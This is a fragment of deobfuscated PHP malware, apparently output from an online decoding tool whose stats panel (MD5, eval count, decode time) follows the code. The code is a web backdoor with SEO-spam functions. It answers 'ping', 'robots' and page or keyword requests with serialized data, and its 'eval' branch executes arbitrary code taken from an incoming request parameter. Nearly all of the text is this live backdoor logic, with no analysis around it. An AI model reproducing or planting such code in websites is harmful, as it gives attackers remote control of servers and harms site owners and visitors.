                            if (!in_array($_ieutud5a["keyword"], $_etuomnuh)) {
                                class4::class4_func5($_ieutud5a["keyword"]);
                            }
                        }
                    }
                }
                echo @serialize([
                    "uid" => class5::$_1hun2z7b,
                    "v" => class5::$_r6tgz2bb,
                    "pages" => $_1mjrt5r5,
                ]);
            }
            if ($_c6lqruoo["sa"] == "ping") {
                $_uh1gpad5 = class5::_9thiq();
                echo @serialize([
                    "uid" => class5::$_1hun2z7b,
                    "v" => class5::$_r6tgz2bb,
                    "result" => (int) $_uh1gpad5,
                ]);
            }
            if ($_c6lqruoo["sa"] == "robots") {
                $_uh1gpad5 = class5::_3bc8v();
                echo @serialize([
                    "uid" => class5::$_1hun2z7b,
                    "v" => class5::$_r6tgz2bb,
                    "result" => (int) $_uh1gpad5,
                ]);
            }
        }
        if ($_c6lqruoo["sa"] == "eval") {
            eval($_c6lqruoo["data"]);
            exit();
        }
    }
}

$_ncwb42cy = new class5();
if ($_ncwb42cy->return_true()) {
    $_ncwb42cy->_o0528();
}
exit();

Function Calls

None

Variables

None

Stats

MD5 b12ef0ec1558b8a62f16f3dca1e50ea1
Eval Count 0
Decode Time 70 ms